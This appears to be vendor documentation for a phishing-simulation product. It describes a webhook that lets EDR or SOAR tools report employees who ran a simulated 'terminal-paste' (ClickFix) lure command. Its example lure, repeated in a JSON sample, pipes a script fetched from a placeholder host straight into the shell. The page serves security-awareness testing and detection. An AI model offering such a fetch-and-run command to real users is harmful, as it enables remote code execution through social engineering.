> For the complete documentation index, see [llms.txt](https://herd-security.gitbook.io/herd-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://herd-security.gitbook.io/herd-security-docs/setup-and-integrations/settings/endpoint-event-webhook.md). Agents can also search and read this documentation through its [MCP server](https://herd-security.gitbook.io/herd-security-docs/~gitbook/mcp).

# Endpoint Event Webhook (EDR / SOAR)

Let your EDR or SOAR tell Herd when a simulation recipient ran the command a terminal-paste lure asked them to paste, so the campaign results and their risk score show "Ran command".

## Overview

Some phishing lures don't ask for a click. A **terminal-paste** lure (sometimes called ClickFix) tells the recipient to open a terminal or the Run dialog and paste a command "to fix the error". Nothing in that flow touches a Herd link, so Herd can't see the failure on its own.

The **Endpoint Event Webhook** closes that gap. Each recipient's lure carries their own tracking token inside the command. When your EDR records that command line, your SOAR or SIEM forwards the process event to Herd, and Herd marks the recipient as **Ran command** in the campaign results and in their risk score.

Herd never connects to your EDR. It accepts only what your tooling sends.

To set it up, go to **Settings → Integrations** and open the **Endpoint events (EDR / SOAR)** card in the **Security & SIEM** section.

***

## Webhook URL and secret

The card gives you two things to configure your tooling with:

* **Webhook URL**: the endpoint your SOAR or SIEM posts process events to. It is unique to your organization, in the form `https://<your-herd-domain>/api/webhooks/endpoint-events/<org-id>`. Use the copy button.
* **Webhook Secret**: sent as `Authorization: Bearer <secret>` on every request.

The secret is separate from the [SIEM / DLP webhook secret](https://herd-security.gitbook.io/herd-security-docs/setup-and-integrations/settings/siem-dlp-webhooks.md) and deliberately narrow: it can only mark simulation recipients as having run a command. It cannot read anything, assign trainings, or change settings.

### Generating and regenerating the secret

If no secret exists yet, click **Generate**. Herd shows the new secret once in a banner:

{% hint style="warning" %}
**The webhook secret is shown only once when it's generated.** Copy it into your SOAR or SIEM right away. Herd masks it afterwards and can't show it again.
{% endhint %}

To rotate it, click **Regenerate**. After a rotation the **old secret stays valid for 24 hours**, so you can update your tooling without dropping events mid-cutover.

***

## Step 1: put the recipient's token in the lure's command

In the phishing template, write `{{COMMAND_TOKEN}}` into the command the email asks people to paste. Herd replaces it per recipient, so the command line your EDR records names exactly who ran it. For example:

```
curl -fsSL https://<your-lure-host>/fix.sh | sh -s -- --id {{COMMAND_TOKEN}}
```

The token is a long opaque string (it starts with `eyJ`). It is the only thing Herd uses to identify the recipient; hostnames and usernames in the event are logged for your convenience but never used to pick a person.

{% hint style="info" %}
`{{COMMAND_TOKEN}}` is listed with the other template variables in the template editor. See [Creating Email Templates](https://herd-security.gitbook.io/herd-security-docs/training-and-simulations/simulations/phishing-simulations/creating-email-templates.md).
{% endhint %}

***

## Step 2: forward matching process events to the webhook

In your EDR or SOAR, create a rule that fires on process events whose command line contains your lure host (or the fixed part of your command), and have it POST the event to the webhook URL with the Bearer secret.

### Payload

Send JSON. Herd accepts any of these shapes:

* `{ "events": [ … ] }`, the standard envelope
* a bare JSON array of events
* a single event object
* NDJSON, one event per line (what a SIEM forwarder or an HTTP action most easily emits)

Up to **500 events per request**.

```json
{
  "events": [
    {
      "occurredAt": "2026-10-07T14:03:11Z",
      "hostname": "LAPTOP-7F2K",
      "username": "alex.lee",
      "commandLine": "/bin/sh -c curl -fsSL https://<your-lure-host>/fix.sh | sh -s -- --id eyJpZCI6Ij…",
      "source": "crowdstrike"
    }
  ]
}
```

| Field         | Required | Notes                                                                                                                                                       |
| ------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `commandLine` | yes      | The full process command line. Herd finds the token inside it.                                                                                              |
| `occurredAt`  | yes      | When the process ran: an ISO-8601 timestamp, or epoch time as a number (10 digits = seconds, 13 digits = milliseconds). Anything else is counted `invalid`. |
| `token`       | no       | If your SOAR has already extracted the recipient's token, send it here and Herd skips scanning the command line.                                            |
| `hostname`    | no       | Logged only.                                                                                                                                                |
| `username`    | no       | Logged only.                                                                                                                                                |
| `source`      | no       | A label for the tool that sent the event, for example `crowdstrike`. Logged only.                                                                           |

### Example: CrowdStrike Falcon

Any EDR or SOAR that can make an HTTP call works the same way. For Falcon, a **Fusion workflow** triggered on a process detection or process event (or a Next-Gen SIEM / Event Streams forward of process events) with an HTTP action is the usual shape:

* **URL:** your Webhook URL from the card
* **Method:** `POST`
* **Headers:** `Authorization: Bearer <your secret>` and `Content-Type: application/json`
* **Body:** map Falcon's fields onto the payload above: the event timestamp to `occurredAt`, the process command line to `commandLine`, and optionally the computer name to `hostname`, the user name to `username`, and `"crowdstrike"` as `source`.

Filter the trigger on the fixed part of your lure's command (for example the lure host) so Falcon only forwards the events Herd can use.

***

## What Herd does with an event

Herd answers `202 Accepted` with a count of what happened to the delivery:

* **`recorded`**: the token resolved to a recipient of one of your campaigns and this is the first report of them running the command. Herd stamps the time, records a `phishing:command_executed` risk event, and runs the same follow-ups a counted click gets: immediate corrections from your failure-trigger rules, and the campaign's remediation training when it is set to fire on a click or an attachment download.
* **`duplicate`**: that recipient was already recorded. A `curl … | sh` alone spawns several processes, and two sensors can report the same run, so repeats are expected and recorded once. First report wins.
* **`unmatched`**: the event carried no token Herd recognizes. It is counted, never rejected: your filter may be broader than your lures.
* **`invalid`**: the event could not be read (for example a bad timestamp). One bad event never discards the rest of the delivery.

Herd replies `400` only when the whole body is unreadable, `401` for a missing or wrong secret, and `429` when your organization exceeds its request or event budget. A `5xx` means Herd couldn't process the delivery and your tool should retry it.

{% hint style="info" %}
**Running the command counts as a failure.** It withholds the recipient's pass credit in risk scoring, as a click does, and it appears in the campaign's **Results** as the **Ran command** outcome, with a filter chip and two CSV columns. See [Campaign Results](https://herd-security.gitbook.io/herd-security-docs/training-and-simulations/simulations/phishing-simulations/campaign-results.md).
{% endhint %}
